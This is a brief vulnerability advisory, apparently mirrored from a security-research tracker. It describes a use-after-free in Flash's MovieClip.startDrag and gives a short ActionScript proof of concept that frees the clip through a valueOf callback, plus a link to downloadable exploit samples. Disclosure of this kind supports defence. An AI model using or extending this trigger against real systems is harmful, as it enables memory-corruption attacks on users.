Source: https://code.google.com/p/google-security-research/issues/detail?id=592
There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.
A minimal POC follows:
this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);
function func(){
mc.removeMovieClip();
// Fix heap here
return 1;
}
A sample fla and swf are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39041.zip
